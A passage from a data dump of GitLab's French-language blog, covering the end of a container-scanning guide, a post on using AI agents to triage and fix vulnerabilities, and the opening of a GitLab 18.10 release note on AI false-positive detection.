conteneurs pour le registre\n\n\n1. Accédez à **Sécurisation > Configuration de la sécurité**.\n\n2. Faites défiler jusqu'à la section **Analyse des conteneurs pour le registre**.\n\n3. Activez la fonctionnalité.\n\n\n![Analyse des conteneurs pour le registre](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547512/vntrlhtmsh1ecnwni5ji.png \"Bouton d'activation de l'analyse des conteneurs pour le registre\")\n\n\n#### Prérequis\n\n\n* Rôle de Chargé de maintenance ou supérieur dans le projet\n\n* Le projet ne doit pas être vide (au moins un commit sur la branche par défaut est requis)\n\n* Les notifications du registre de conteneurs doivent être configurées\n\n* La base de données de métadonnées des paquets doit être configurée (activée par défaut sur GitLab.com)\n\n\nLes vulnérabilités apparaissent sous l'onglet **Vulnérabilités du registre de conteneurs** dans votre rapport de vulnérabilités.\n\n\n### 3. Analyse multi-conteneurs\n\n\n* Fonctionnement : analyse plusieurs images de conteneurs en parallèle au sein d'un même pipeline\n\n* Cas d'utilisation idéal : [architectures de microservices](https://about.gitlab.com/fr-fr/blog/what-are-the-benefits-of-a-microservices-architecture/ \"Qu'est-ce qu'une architecture de microservices ?\") et projets avec plusieurs images de conteneurs\n\n* Disponibilité : version gratuite de GitLab, GitLab Premium et GitLab Ultimate (actuellement en version bêta)\n\n* [Documentation](https://docs.gitlab.com/user/application_security/container_scanning/multi_container_scanning/)\n\n\nL'analyse multi-conteneurs utilise des pipelines enfants dynamiques pour exécuter des analyses simultanées afin de réduire considérablement le temps d'exécution global du pipeline lorsque plusieurs images doivent être analysées.\n\n\n#### Activer l'analyse multi-conteneurs\n\n\n1. Créez un fichier `.gitlab-multi-image.yml` à la racine de votre dépôt :\n\n\n```yaml\nscanTargets:\n  - name: alpine\n    tag: \"3.19\"\n  - name: python\n    tag: \"3.9-slim\"\n  - name: nginx\n    tag: \"1.25\"\n```\n\n\n2. Incluez le template dans votre fichier `.gitlab-ci.yml` :\n\n\n```yaml\ninclude:\n  - template: Jobs/Multi-Container-Scanning.latest.gitlab-ci.yml\n```\n\n\n#### Configuration avancée\n\n\n**Analyser des images depuis des registres privés :**\n\n\n```yaml\nauths:\n  registry.gitlab.com:\n    username: ${CI_REGISTRY_USER}\n    password: ${CI_REGISTRY_PASSWORD}\n\nscanTargets:\n  - name: registry.gitlab.com/private/image\n    tag: latest\n```\n\n\n**Inclure les informations de licence :**\n\n\n```yaml\nincludeLicenses: true\n\nscanTargets:\n  - name: postgres\n    tag: \"15-alpine\"\n```\n\n\n### 4. Analyse continue des vulnérabilités\n\n\n* Fonctionnement : crée automatiquement des vulnérabilités lors de la publication de nouveaux avis de sécurité, sans nécessiter l'exécution de pipeline\n\n* Cas d'utilisation idéal : surveillance proactive de la sécurité entre les déploiements\n\n* Disponibilité : GitLab Ultimate uniquement\n\n* [Documentation](https://docs.gitlab.com/user/application_security/continuous_vulnerability_scanning/)\n\n\nL'analyse traditionnelle ne détecte les vulnérabilités qu'au moment où elle est effectuée. Mais que se passe-t-il lorsqu'une nouvelle vulnérabilité et exposition commune (CVE) est publiée le lendemain pour un paquet analysé la veille ? L'analyse continue des vulnérabilités résout ce problème en surveillant la base de données d'avis de GitLab et en enregistrant automatiquement les vulnérabilités lorsque de nouveaux avis affectent vos composants.\n\n\n#### Fonctionnement\n\n\n1. Votre job d'analyse des conteneurs ou d'analyse des dépendances génère une SBOM CycloneDX.\n\n2. GitLab enregistre les composants de votre projet à partir de cette SBOM.\n\n3. Lors de la publication de nouveaux avis, GitLab vérifie si vos composants sont concernés.\n\n4. Les vulnérabilités sont automatiquement créées dans votre rapport de vulnérabilités.\n\n\n#### Points importants\n\n\n* Les analyses s'exécutent via des jobs en arrière-plan (Sidekiq), et non via des pipelines CI.\n\n* Seules les alertes publiées au cours des 14 derniers jours sont prises en compte pour la détection de nouveaux composants.\n\n* Les vulnérabilités utilisent « GitLab SBoM Vulnerability Scanner » comme nom de scanner.\n\n* Pour marquer des vulnérabilités comme résolues, vous devez toujours exécuter une analyse basée sur un pipeline.\n\n\n### 5. Analyse opérationnelle des conteneurs\n\n\n* Fonctionnement : analyse les conteneurs en cours d'exécution dans votre cluster [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\") selon une cadence planifiée\n\n* Cas d'utilisation idéal : surveillance de la sécurité après déploiement et détection des vulnérabilités au moment de l'exécution\n\n* Disponibilité : GitLab Ultimate uniquement\n\n* [Documentation](https://docs.gitlab.com/user/clusters/agent/vulnerabilities/)\n\n\nL'analyse opérationnelle des conteneurs comble l'écart entre la sécurité au moment du build et la sécurité à l'exécution. Grâce à l'agent GitLab pour Kubernetes, cette approche analyse les conteneurs réellement en cours d'exécution dans vos clusters pour détecter les vulnérabilités qui apparaissent après le déploiement.\n\n\n#### Activer l'analyse opérationnelle des conteneurs\n\n\nSi vous utilisez l'[agent GitLab pour Kubernetes](https://docs.gitlab.com/user/clusters/agent/install/), vous pouvez ajouter le contenu suivant à votre fichier de configuration de l'agent :\n\n\n```yaml\ncontainer_scanning:\n  cadence: '0 0 * * *'  # Daily at midnight\n  vulnerability_report:\n    namespaces:\n      include:\n        - production\n        - staging\n```\n\n\nVous pouvez également créer une [politique d'exécution des analyses](https://docs.gitlab.com/user/clusters/agent/vulnerabilities/#enable-via-scan-execution-policies) qui impose une analyse selon un planning défini par l'agent GitLab pour Kubernetes.\n\n\n![Politique d'exécution des analyses – analyse opérationnelle des conteneurs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547515/gsgvjcq4sas4dfc8ciqk.png \"Conditions d'une politique d'exécution des analyses pour l'analyse opérationnelle des conteneurs\")\n\n\n#### Consulter les résultats\n\n\n* Accédez à **Opération > Clusters Kubernetes**.\n\n* Sélectionnez l'onglet **Agent** et choisissez votre agent.\n\n* Sélectionnez ensuite l'onglet **Sécurité** pour consulter les vulnérabilités du cluster.\n\n* Les résultats apparaissent également sous l'onglet **Vulnérabilités opérationnelles** dans le **rapport de vulnérabilités**.\n\n\n## Renforcer la posture de sécurité avec les politiques de sécurité de GitLab\n\n\nLes politiques de sécurité de GitLab vous permettent d'appliquer des normes de sécurité cohérentes dans l'ensemble de vos workflows de conteneurs, grâce à des contrôles automatisés pilotés par des politiques. Ces politiques intègrent la sécurité en amont en intégrant les exigences directement dans votre pipeline de développement afin de garantir que les vulnérabilités sont détectées et traitées avant que le code n'atteigne l'environnement de production.\n\n\n#### Politiques d'exécution des scans et des pipelines\n\n\nLes [politiques d'exécution des scans](https://docs.gitlab.com/user/application_security/policies/scan_execution_policies/) automatisent le moment et la manière dont l'analyse des conteneurs s'exécute dans vos projets. Définissez des politiques qui déclenchent des analyses de conteneurs sur chaque merge request, planifiez des analyses récurrentes de votre branche principale, et plus encore. Ces politiques assurent une couverture complète sans que les équipes de développement aient à configurer manuellement l'analyse dans le pipeline CI/CD de chaque projet.\n\n\nVous pouvez préciser les versions de scanner à utiliser et configurer les paramètres de scan de manière centralisée pour garantir la cohérence dans toute votre organisation tout en vous adaptant aux nouvelles menaces qui pèsent sur la sécurité des conteneurs.\n\n\n![Configuration d'une politique d'exécution des scans](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/z36dntxslqem9udrynvx.png \"Configuration d'une politique d'exécution des scans\")\n\n\nLes [politiques d'exécution des pipelines](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/) offrent des contrôles flexibles pour injecter (ou remplacer) des jobs personnalisés dans un pipeline en fonction de vos besoins en matière de conformité.\n\n\nCes politiques permettent d'injecter automatiquement des jobs d'analyse des conteneurs dans votre pipeline, de faire échouer les builds lorsque les vulnérabilités de conteneurs dépassent votre seuil de tolérance au risque, de déclencher des contrôles de sécurité supplémentaires pour des branches ou des tags spécifiques, ou encore d'imposer des exigences de conformité pour les images de conteneurs destinées aux environnements de production. Les politiques d'exécution des pipelines agissent comme des garde-fous automatisés pour appliquer vos normes de sécurité de manière cohérente dans l'ensemble de vos déploiements de conteneurs, sans intervention manuelle.\n\n\n![Politique d'exécution des pipelines](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/ddhhugzcr2swptgodof2.png \"Actions d'une politique d'exécution de pipeline\")\n\n\n#### Politiques d'approbation des merge requests\n\n\nLes [politiques d'approbation des merge requests](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) imposent des contrôles de sécurité : les approbateurs désignés examinent et valident les merge requests contenant des vulnérabilités de conteneurs.\n\n\nConfigurez des politiques qui bloquent le merge lorsque des vulnérabilités de gravité critique ou élevée sont détectées, ou qui exigent l'approbation de l'équipe de sécurité pour toute merge request introduisant de nouveaux résultats liés aux conteneurs. Ces politiques empêchent les images de conteneurs vulnérables de progresser dans votre pipeline tout en préservant la vélocité de développement pour les changements à faible risque.\n\n\n![Politique d'approbation des merge requests avec blocage dans la merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/hgnbc1vl4ssqafqcyuzg.png \"Politique d'approbation des merge requests avec blocage dans la merge request\")\n\n\n## Choisir la bonne approche\n\n\n| Type d'analyse | Utilisation | Avantage clé |\n|--------------|-------------|-------------|\n| Analyse dans le pipeline | À chaque build | Contrôles de sécurité en amont, blocage des builds vulnérables |\n| Analyse de registre | Surveillance continue | Détection des nouvelles CVE dans les images stockées |\n| Analyse multi-conteneurs | Microservices | Analyse en parallèle, pipelines plus rapides |\n| Analyse continue des vulnérabilités | Entre les déploiements | Surveillance proactive des avis |\n| Analyse opérationnelle | Surveillance en production | Détection des vulnérabilités dans l'environnement d'exécution |\n\n\nPour une approche complète en matière de sécurité, combinez plusieurs approches : l'analyse dans le pipeline pour détecter les problèmes pendant le développement, l'analyse des conteneurs pour le registre afin d'assurer une surveillance continue et l'analyse opérationnelle pour la visibilité en production.\n\n\n## Lancez-vous dès aujourd'hui\n\n\nActivez l'analyse dans le pipeline pour commencer à appliquer des mesures de sécurité dans les conteneurs :\n\n\n1. Accédez à **Sécurisation > Configuration de la sécurité** dans votre projet.\n\n2. Cliquez sur **Configurer avec une merge request** pour lancer l'analyse des conteneurs.\n\n3. Fusionnez la merge request.\n\n4. Votre prochain pipeline inclura l'analyse des vulnérabilités.\n\n\nAjoutez ensuite des analyses supplémentaires en fonction de vos exigences de sécurité et de votre abonnement GitLab.\n\n\nLa sécurité des conteneurs n'est pas une tâche ponctuelle, mais un processus continu. Grâce aux capacités complètes d'analyse des conteneurs de GitLab, vous pouvez détecter les vulnérabilités à chaque étape du cycle de vie de vos conteneurs, du build à l'exécution.\n\n\n> Pour en savoir plus sur la façon dont GitLab peut contribuer à renforcer votre posture de sécurité, consultez la [page sur les solutions de sécurité et de gouvernance de GitLab](https://about.gitlab.com/fr-fr/solutions/application-security-testing/).\n","2026-04-13","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772721753/frfsm1qfscwrmsyzj1qn.png",[1073],"Découvrez les différentes méthodes d'analyse des conteneurs proposées par GitLab et apprenez à sécuriser vos conteneurs à chaque étape de leur cycle de vie.","Analyse des conteneurs de GitLab : le guide complet",{"featured":691,"template":843,"slug":1207},"complete-guide-to-gitlab-container-scanning",{"content":1209,"config":1219},{"title":1210,"description":1211,"tags":1212,"category":805,"authors":1213,"date":1216,"body":1217,"heroImage":1218},"Orchestration de l'IA agentique au service des équipes sécurité","Découvrez comment l'orchestration d'agents d’IA au sein d'une plateforme DevSecOps unifiée peut transformer le quotidien des équipes AppSec.",[853,805],[1214,1215],"Chloe Cartron","Benjamin Skierlak","2026-04-07","> *Cet article de blog est un résumé de notre démo animée par Chloé Cartron (Senior Solutions Architect) et Benjamin Skierlak (Customer Success Engineer, EMEA) lors du Forum InCyber 2026.*\n\nLes équipes sécurité applicative font face à une équation de plus en plus difficile à résoudre avec un volume croissant de code, de failles et de contraintes réglementaires, sans pour autant voir leurs effectifs augmenter. L'intelligence artificielle est souvent présentée comme la solution miracle, mais encore faut-il l'intégrer de façon structurée et maîtrisée dans les processus existants.\n\nDécouvrez dans cet article comment l'orchestration d'agents d’IA au sein d'une plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") unifiée transforme le quotidien des équipes AppSec, de la gestion du backlog de vulnérabilités jusqu'à la génération de rapports de conformité.\n\n> **🎯 Essayez [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) dès aujourd'hui !**\n\n## Le paradoxe de l'IA dans le développement logiciel\n\nL'intelligence artificielle a profondément transformé la façon dont les équipes de développement conçoivent et produisent leurs applications. [IDE](https://about.gitlab.com/fr-fr/blog/what-is-an-ide/ \"Qu'est-ce qu'un IDE ?\"), CLI, assistants de code ou encore générateurs d'applications : il est désormais possible de produire des milliers de lignes de code par jour. Une vélocité sans précédent, mais qui dissimule un problème structurel majeur.\n\nCar plus le code s'écrit vite, plus la surface d'attaque s'étend, et les équipes sécurité n’augmentent pas proportionnellement, puisqu’en moyenne **[4 personne sont dédiées à la sécurité pour 100 développeurs](https://codific.com/bsimm-building-security-in-maturity-model-a-complete-guide/)**. Résultat, les backlogs de vulnérabilités s'accumulent, les délais de remédiation s'allongent, et la conformité devient un chantier sans fin.\n\nC'est ce que nous appelons le **paradoxe de l'IA** : la vitesse, seule, n'est pas un avantage si elle engendre une dette de sécurité incontrôlable.\n\nLa réponse ne réside donc pas dans un ralentissement du développement, mais dans un changement de paradigme : utiliser l'IA non plus seulement pour écrire du code, mais pour **orchestrer la sécurité** à chaque étape du cycle de vie logiciel.\n\n## Une plateforme unifiée pour mettre fin à la fragmentation des outils\n\nLa **fragmentation des outils d’IA** constitue l'un des problèmes structurels les plus répandus au sein des équipes AppSec. À chaque changement d'outil, le contexte se perd, et des agents d’IA qui ne partagent pas de contexte commun reproduisent la fragmentation des outils.\n\nC'est pourquoi l'approche de GitLab repose sur un **modèle de données unifié** où le code, les pipelines, les issues, les merge requests et les résultats de scan coexistent dans un seul et même environnement. Les agents disposent ainsi d'une vision complète du cycle de développement, ce qui leur permet de prendre des décisions mieux informées, à chaque étape.\n\nCette architecture ouvre également la voie à de nouvelles formes de collaboration. En plus des agents d’IA disponibles par défaut sur GitLab, les équipes peuvent également créer et publier des agents dans un **[catalogue d’IA](https://docs.gitlab.com/user/duo_agent_platform/ai_catalog/)**, ce qui les rend réutilisables d'un projet à l'autre. Ils s'intègrent également avec des agents externes, et peuvent opérer en parallèle au sein de flows multi-agents, traitant plusieurs tâches simultanément. Une flexibilité qui permet à chaque organisation de construire progressivement un écosystème d'automatisation aligné sur ses propres besoins.\n\nMais qu'est-ce que cela signifie concrètement pour une équipe AppSec au quotidien ? Découvrons ensemble trois cas d’usage applicables pour vous aider à accélérer le traitement et la correction des vulnérabilités  et à informer votre organisation sur vos efforts en matière de sécurité et de conformité.\n\n## Trois cas d'usage concrets pour les équipes AppSec\n\n### 1. Trier et prioriser le backlog de vulnérabilités\n\nToutes les équipes sécurité connaissent ce défi : générer un [rapport de vulnérabilités](https://docs.gitlab.com/user/application_security/vulnerability_report/) et se retrouver face à des dizaines, voire des centaines d'alertes. La question n'est pas « y a-t-il des risques ? » mais « lesquels traiter en priorité ? »\n\nPrenons l’exemple d’une équipe AppSec chargée d’analyser le backlog de vulnérabilités, d’identifier les risques et de prioriser la résolution à travers l’ensemble des applications de l’organisation.\n\nPour cela, accédons au [rapport de vulnérabilités](https://gitlab.com/groups/gitlab-com/-/security/vulnerabilities), un tableau de bord qui offre une vue d'ensemble sur la posture sécurité d'une application. Les vulnérabilités qui y figurent sont identifiées par un ensemble de scanners de sécurité exécutés systématiquement dans les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") et regroupés en un seul endroit : SAST, DAST, analyse des dépendances, analyse des conteneurs, détection des secrets, etc.\n\nFace à un grand nombre de risques identifiés, l'enjeu est de distinguer rapidement ce qui représente un danger réel et urgent de ce qui peut être traité ultérieurement. C'est ici que l'IA apporte une première valeur ajoutée, puisque certaines vulnérabilités sont automatiquement signalées comme de **potentiels faux positifs**.\n\n![Signalement de potentiels faux positifs avec GitLab Duo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775581815/cxvus9f5hzfaqsbsqchc.png)\n\nEn plus des scanners de sécurité qui analysent la base de code, une analyse intelligente complémentaire à l’aide de l’IA est effectuée sur chaque vulnérabilité dans le contexte global du projet.\n\nPour en savoir plus sur ces potentiels faux positifs, nous allons interroger l’agent **[Security Analyst](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)** de GitLab Duo en lui demandant « Pourquoi les secrets sont-ils identifiés comme potentiels faux positifs ». L’agent va effectuer une analyse intelligente dans le contexte pour déterminer s’il y a un réel risque ou non et partager ses retours à l'équipe AppSec.\n\nDans notre cas, il n’existe aucun risque puisque ce sont des secrets d’exemple. Nous allons donc demander à l'agent d'écarter ces vulnérabilités en masse en passant le statut à « dismissed » de toutes les vulnérabilités générées par le scanner de détection des secrets et identifiées comme faux positifs, puis d'ajuster les règles de détection pour affiner les futurs scans.\n\nL'étape suivante consiste à identifier les **risques réels prioritaires**. En posant la question « Quelles vulnérabilités posent le plus grand risque pour la production ? », l'agent analyse l'ensemble des vulnérabilités, génère des rapports de priorisation avec l'impact estimé et propose un plan d'action recommandé.\n\nPour chaque vulnérabilité critique, il est possible d'obtenir une explication détaillée : sa localisation, le scanner qui l’a identifié et les recommandations de remédiation.\n\n![Analyse des risques par l'agent Security Analyst de GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775571832/vkkor8ynqmxfdloaqyc9.png)\n\nEn cliquant sur le bouton **AI vulnerability management > Explain with AI**, nous allons demander à l'IA de nous aider à obtenir une meilleure compréhension du risque en nous donnant une explication avec des recommandations et des préconisations.\n\nUne fois les priorités établies, l'agent peut **confirmer les vulnérabilités critiques et créer automatiquement une issue** pour chacune d'entre elles, permettant de tracer la remédiation. En quelques minutes, le backlog de vulnérabilités critiques et de nombreuses vulnérabilités de sévérité moyenne est réduit à un nombre maîtrisé de risques effectivement triés et assignés.\n\nUne fois les risques identifiés, encore faut-il les corriger, et le faire rapidement. C'est là qu'intervient la **génération automatique de merge requests correctives**.\n\nDepuis un ticket lié à une vulnérabilité, la fonction « **Generate MR with Duo** » lance un flow agentique qui récupère le contexte de l’issue, du projet et des informations connexes, puis génère automatiquement une merge request contenant le correctif. Chaque modification suggérée par GitLab Duo suit un processus rigoureux : passage par le pipeline CI/CD et revue de code obligatoire avec approbation par un pair pour valider le changement de code.\n\nCette [création de merge requests correctives peut être également automatisée via des **flows agentiques**](https://docs.gitlab.com/user/duo_agent_platform/flows/foundational_flows/agentic_sast_vulnerability_resolution/), permettant de passer à l'échelle en générant systématiquement des propositions de correction pour chaque vulnérabilité confirmée.\n\nNote : la fonction « **Generate MR with Duo** » ne se limite pas aux vulnérabilités, elle s’applique aussi à d'autres cas d'usage comme le développement de fonctionnalités à partir d'une spécification ou la résolution de bugs.\n\n### 2. Collaborer avec les développeurs pour prévenir l'introduction de nouvelles vulnérabilités\n\nLe deuxième enjeu est d'empêcher l'introduction de nouveaux risques le plus tôt possible dans le cycle de développement logiciel. Lorsqu'un développeur ouvre une merge request pour implémenter une nouvelle fonctionnalité, un ensemble de vérifications automatiques s'exécutent comme la **revue de code automatique de GitLab Duo** qui permet de fournir des premiers retours sur la qualité des changements apportés.\n\n![Revue de code automatique avec GitLab Duo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775581351/k5hm27hsnnovffqdo5z1.png)\n\nCependant, il arrive qu’une merge request se retrouve **bloquée par une [règle de sécurité](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/)** définie au niveau de l'organisation. Ces règles déterminent le seuil critique à respecter. Au-delà d'un certain niveau de risque (par exemple, des dépendances critiques), le merge est bloqué et une validation par un expert sécurité est requise.\n\nL'expert AppSec, sollicité pour faire une revue et donner son avis, doit alors se familiariser rapidement avec le changement et comprendre la vulnérabilité dans son contexte. Plutôt que de passer un temps considérable à analyser manuellement le code, les discussions et les tickets associés, ce dernier peut faire appel à GitLab Duo pour obtenir un **résumé contextuel sur les aspects liés à la sécurité** : modifications du code, discussions, issues associées et failles problématiques.\n\nSur la base de cette analyse, l’expert AppSec demande à l'agent de **publier sa recommandation directement en commentaire sur la merge request**, en taguant l'auteur de la merge request. Le développeur dispose ainsi immédiatement des préconisations de remédiation et comprend pourquoi la merge request est en échec.\n\n![Recommandation GitLab Duo en commentaire d'une merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775581459/ojd9klqyodu0mwladnv3.png)\n\nCe processus permet une collaboration fluide et rapide entre les équipes chargées de la sécurité et du développement, réduisant considérablement le temps nécessaire pour contextualiser un risque et communiquer les actions correctives.\n\n### 3. Générer des rapports de conformité et d’audit\n\nLe dernier cas d'usage répond à un besoin récurrent : donner de la **visibilité au management et aux auditeurs** sur la posture sécurité et la conformité des applications. Dans GitLab, un projet peut être associé à un **framework de conformité** (par exemple, la [norme ISO 27001)](https://about.gitlab.com/fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey/ \"ISO 27001\"), indiquant qu'il est soumis à un ensemble de règles spécifiques auquel il doit se conformer.\n\nEn demandant à l'agent Security Analyst de générer un résumé de l'état actuel de l'application en matière de sécurité et de conformité, celui-ci produit un **rapport complet** comprenant : une évaluation globale des risques, une analyse détaillée des vulnérabilités (y compris celles déjà triées et confirmées), des indicateurs de progression, une priorisation des actions restantes et des retours spécifiques par rapport à la norme de conformité applicable.\n\n![Rapport de l'agent Security Analyst](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775581612/mxiamj7z71rqrocxx2lx.png)\n\nCe rapport, généré en quelques minutes, permet de démontrer l'amélioration continue et de partager un état des lieux clair et structuré, là où ce travail aurait traditionnellement nécessité un effort manuel considérable.\n\nÀ travers ces trois cas d'usage, GitLab Duo permet aux équipes AppSec d'accélérer de façon significative la priorisation des risques, l'assignation et la réalisation des corrections, la collaboration avec les développeurs et la production de rapports de conformité. Des tâches qui prenaient habituellement des heures se réalisent désormais en quelques minutes, tout en maintenant les exigences de qualité, de traçabilité et de validation humaine à chaque étape.\n\n## L'équipe AppSec devient chef d'orchestre\n\nCe changement de paradigme est fondamental. Les équipes sécurité ne sont plus un goulot d'étranglement que l’on vient solliciter en dernier recours. Elles deviennent les **architectes des workflows** que les agents exécutent, tout en gardant la maîtrise de bout en bout.\n\nConcrètement, cela se traduit par trois responsabilités clés :\n\n* **Définir les règles** : quelles politiques de sécurité s'appliquent, à quel seuil bloque-t-on une merge request, quels frameworks de conformité sont requis ?\n* **Choisir les workflows** : quels agents activer, pour quels types de vulnérabilités, avec quelles automatisations ?\n* **Garder le contrôle** : toutes les actions des agents restent auditables et les validations humaines sont maintenues aux étapes critiques.\n\nEn déléguant l'exécution aux agents, les experts sécurité se concentrent sur la stratégie et peuvent couvrir un périmètre toujours plus large, sans avoir besoin de multiplier les effectifs. C'est la réponse concrète au paradoxe de l'IA : la vitesse du développement augmente, mais la sécurité suit le rythme grâce à une orchestration maîtrisée.\n\n## Déployer l'IA en toute souveraineté\n\nAdopter l'IA dans un contexte de sécurité soulève légitimement des questions sur la maîtrise des données. Pour y répondre, GitLab propose plusieurs modèles de déploiement adaptés aux exigences de chaque organisation :\n\n* **GitLab Self-Managed** : hébergé dans votre propre infrastructure, pour un contrôle total.\n* **GitLab.com** : une offre SaaS entièrement gérée par GitLab.\n* **GitLab Dedicated** : un SaaS dédié, déployé dans la région de votre choix.\n\nQuel que soit le modèle retenu, les organisations conservent la maîtrise de leurs données. Elles peuvent choisir leurs propres [grands modèles de langage (LLM)](https://about.gitlab.com/fr-fr/blog/large-language-model/ \"Qu'est-ce qu'un LLM ?\") et disposent d'options air-gapped avec des LLM auto-hébergés, garantissant qu'aucune donnée n'est retenue par les fournisseurs d'IA. La souveraineté n'est pas une contrainte à gérer après coup : elle est intégrée dès la conception. Pour en savoir plus, [consultez notre documentation](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/).\n\n## En résumé\n\nL'orchestration d'agents d’IA au service des équipes sécurité répond à un problème concret : faire plus avec les mêmes équipes, sans sacrifier la qualité ni le contrôle.\n\nLes trois enseignements clés à retenir :\n\n* **L’IA sans gouvernance crée autant de risques qu’elle en résout** : accélérer le développement sans intégrer la sécurité en amont amplifie l’exposition. La vitesse seule n’est pas un avantage si elle génère une dette de sécurité.\n* **Le contexte unifié est la clé de l’orchestration agentique** : des agents qui ne partagent pas de contexte reproduisent la fragmentation des outils. Avec le modèle de données unifié de GitLab, les agents peuvent agir avec une vision complète du cycle de vie.\n* **L'équipe AppSec orchestre, les agents exécutent** : avec les bons garde-fous et les bons agents, les équipes sécurité couvrent un périmètre qui grandit en permanence. En déléguant l’exécution, elles se concentrent sur la stratégie.\n\n> **🎯 Prêt à accélérer votre sécurité applicative ? Essayez [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) dès aujourd'hui !**","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png",{"featured":13,"template":843,"slug":1220},"orchestrating-agentic-ai-to-boost-your-security-teams",{"content":1222,"config":1229},{"title":1223,"description":1224,"authors":1225,"heroImage":841,"date":1226,"body":1227,"category":805,"tags":1228},"GitLab 18.10 introduit le classement et la remédiation avec l'IA native","Découvrez les fonctionnalités de GitLab Duo Agent Platform qui réduisent le bruit, identifient les vulnérabilités les plus importantes et transforment les résultats en propositions de remédiation.",[1189],"2026-03-19","GitLab 18.10 introduit de nouvelles fonctionnalités de sécurité basées sur l'IA, conçues pour améliorer la qualité et la rapidité de la [gestion des vulnérabilités](https://about.gitlab.com/fr-fr/blog/what-is-vulnerability-management/ \"Qu'est-ce que la gestion des vulnérabilités ?\"). Ensemble, ces fonctionnalités contribuent à réduire le temps que les équipes de développement consacrent à l'analyse des faux positifs et intègrent la remédiation automatisée directement dans leur workflow, afin qu'elles puissent corriger les vulnérabilités sans connaissances spécialisées dans la sécurité.\n\nVoici les nouveautés :\n\n* [**La détection des faux positifs pour les tests statiques de sécurité des applications (SAST)**](https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection/) **est désormais en disponibilité générale.** Ce flow utilise un [grand modèle de langage (LLM)](https://about.gitlab.com/fr-fr/blog/large-language-model/ \"Qu'est-ce qu'un LLM ?\") pour le raisonnement agentique afin de déterminer la probabilité qu'une vulnérabilité soit un faux positif et permet ainsi aux équipes de sécurité et de développement de se concentrer en priorité sur la correction des vulnérabilités critiques.\n* [**La résolution des vulnérabilités SAST avec l'IA agentique**](https://docs.gitlab.com/user/application_security/vulnerabilities/agentic_vulnerability_resolution/) **est désormais disponible en version bêta.** La résolution des vulnérabilités SAST avec l'IA agentique crée automatiquement une merge request avec un correctif proposé pour les vulnérabilités SAST vérifiées, ce qui réduit le délai de remédiation et limite le besoin d'une expertise approfondie en sécurité.\n* [**La détection des faux positifs pour les secrets**](https://docs.gitlab.com/user/application_security/vulnerabilities/secret_false_positive_detection/) **est désormais disponible en version bêta.** Ce flow applique la même réduction de bruit basée sur l'IA à la détection des secrets, en signalant les secrets factices et de test afin de réduire l'effort de revue.\n\nCes flows sont disponibles pour les clients [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/ \"GitLab Ultimate\") qui utilisent GitLab Duo Agent Platform.\n\n## Réduire le temps de classement grâce à la détection des faux positifs SAST\n\nLes scanners SAST traditionnels signalent chaque modèle de code suspect qu'ils détectent, indépendamment de l'accessibilité des chemins de code ou de la prise en charge du risque par les frameworks. Sans contexte d'exécution, ils ne peuvent pas distinguer une véritable vulnérabilité d'un code sûr qui semble simplement dangereux.\n\nLes équipes de développement peuvent ainsi passer des heures à examiner des résultats qui s'avèrent être des faux positifs. Au fil du temps, cette situation peut éroder la confiance dans le rapport et ralentir les équipes chargées de corriger les risques réels.\n\nAprès chaque scan SAST, GitLab Duo Agent Platform analyse automatiquement les nouveaux résultats de gravité critique et élevée, et y associe :\n\n* Un score de confiance indiquant la probabilité que le résultat soit un faux positif\n* Une explication générée par l'IA qui décrit le raisonnement\n* Un badge visuel qui permet de distinguer facilement les faux positifs probables des résultats probablement réels dans l'interface utilisateur\n\nCes résultats apparaissent dans le [rapport de vulnérabilités](https://docs.gitlab.com/user/application_security/vulnerability_report/), comme illustré ci-dessous. Vous pouvez filtrer le rapport pour vous concentrer sur les résultats qui ne sont pas des faux positifs, afin que les équipes consacrent leur temps à traiter les vulnérabilités réelles plutôt qu'à classer des résultats sans importance. \n\n![Rapport de vulnérabilités](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773844787/i0eod01p7gawflllkgsr.png)\n\n\nL'évaluation de GitLab Duo Agent Platform est une recommandation. Vous gardez le contrôle sur chaque faux positif pour déterminer sa validité, et vous pouvez vérifier le raisonnement de l'agent à tout moment pour renforcer votre confiance dans le modèle.\n\n\n## Transformer les vulnérabilités en correctifs automatisés\n\nSavoir qu'une vulnérabilité est réelle ne représente que la moitié du travail. La remédiation nécessite encore de comprendre le chemin de code, de rédiger un correctif sécurisé et de s'assurer que rien d'autre n'est affecté.\n\nSi la vulnérabilité est identifiée comme probablement réelle par le flow SAST False Positive Detection, le flow Agentic SAST Vulnerability Resolution effectue automatiquement les étapes suivantes :\n\n1. Lecture du code vulnérable et du contexte environnant depuis votre dépôt\n2. Génération de correctifs proposés de haute qualité\n3. Validation des correctifs par des tests automatisés\n4. Ouverture d'une merge request avec un correctif proposé 